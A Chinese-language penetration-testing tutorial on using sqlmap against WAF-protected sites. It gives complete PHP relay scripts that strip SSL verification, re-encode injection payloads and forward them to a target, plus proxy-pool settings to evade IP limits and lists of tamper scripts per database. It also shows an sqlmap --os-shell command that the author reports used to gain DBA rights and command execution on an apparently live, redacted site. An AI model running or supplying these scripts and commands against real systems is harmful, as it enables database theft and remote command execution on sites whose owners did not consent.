实战sqlmap绕过WAF
字数 686 2025-08-03 16:45:35
SQLMap绕过WAF实战技术详解
前言
随着安全行业的兴起和安全防护软件的不断提升,直接使用SQLMap进行注入测试变得越来越困难。本文详细介绍了在实际渗透测试中遇到SSL证书验证和WAF防护时的绕过技术,特别是中转注入方法的实战应用。
实战演示
初始问题
发现存在SQL注入的页面,但直接使用SQLMap时出现SSL连接错误:
python2 sqlmap.py -u "http://xxxx?&daxxtae=null¶me=xxxxxx" --batch --delay=1 --random-agent
错误信息:
[10:12:10] [CRITICAL] can't establish SSL connection
SSL证书问题分析
SSL证书验证是HTTPS安全通信的基础,但SQLMap本身没有直接绕过SSL证书验证的参数。
中转注入解决方案
基本概念
中转注入的原理是:
- 使用本地脚本作为中间人
- 脚本负责绕过SSL验证
- 将SQLMap的payload转发到目标
SQLMap → 中转脚本 → 目标网站
简单中转脚本示例
<?php
$payload=base64_encode($_GET['x']);
$urls="http://xxx/xxxx?q=1$payload";
file_get_contents($urls);
echo $urls;
?>
完整中转脚本
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","/**/",$id);
$id=str_replace("=","%3D",$id); // 自定义编码机制
$url = "http://xxxx?&daxxtae=null¶me=$id";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
流量限制问题解决
当目标网站有流量限制时,可以结合代理池使用:
// 在上述脚本中添加
curl_setopt($ch, CURLOPT_PROXY, 'proxy.xxxx.com'); // 代理服务器地址
curl_setopt($ch, CURLOPT_PROXYPORT, '8080'); // 代理服务器端口
成功利用
最终成功获取DBA权限并执行命令:
python2 sqlmap.py -u "http://xxxx?&daxxtae=null¶m=xxx" --batch --delay=1 --random-agent --os-shell
POST型中转注入
对于POST请求的注入点,如登录表单:
uname=admin&passwd=hhh&submit=Submit
中转脚本示例:
<?php
$url = "http://192.168.1.104/sqli/Less-11/index.php";
$sql = $_GET[s]; // 获取payload
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0...');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_POST, 1); // POST方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
$output = curl_exec($ch);
curl_close($ch);
$a = strlen($output);
if($a==2846){
echo "1";
}else{
echo "2";
}
SQLMap绕过WAF的完整思路总结
-
设置请求头
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" -
设置代理
--proxy=http://127.0.0.1:8080 -
设置延迟
--delay=1 -
利用--tamper参数编码脚本
常见tamper组合:
- 普通组合:
apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes - MSSQL专用:
between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes - MySQL专用:
between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
- 普通组合:
-
自定义中转脚本
- 根据实际情况调整编码机制
- 结合代理池使用
- 处理GET/POST不同请求方式
关键点总结
- 中转注入是绕过SSL验证的有效方法
- PHP的cURL库可以方便地忽略SSL验证
- 代理池结合中转脚本可以绕过IP限制
- POST型注入需要调整脚本处理请求方式
- 多种WAF绕过技术需要组合使用才能达到最佳效果
通过以上技术的组合应用,可以在现代WAF防护下成功进行SQL注入测试。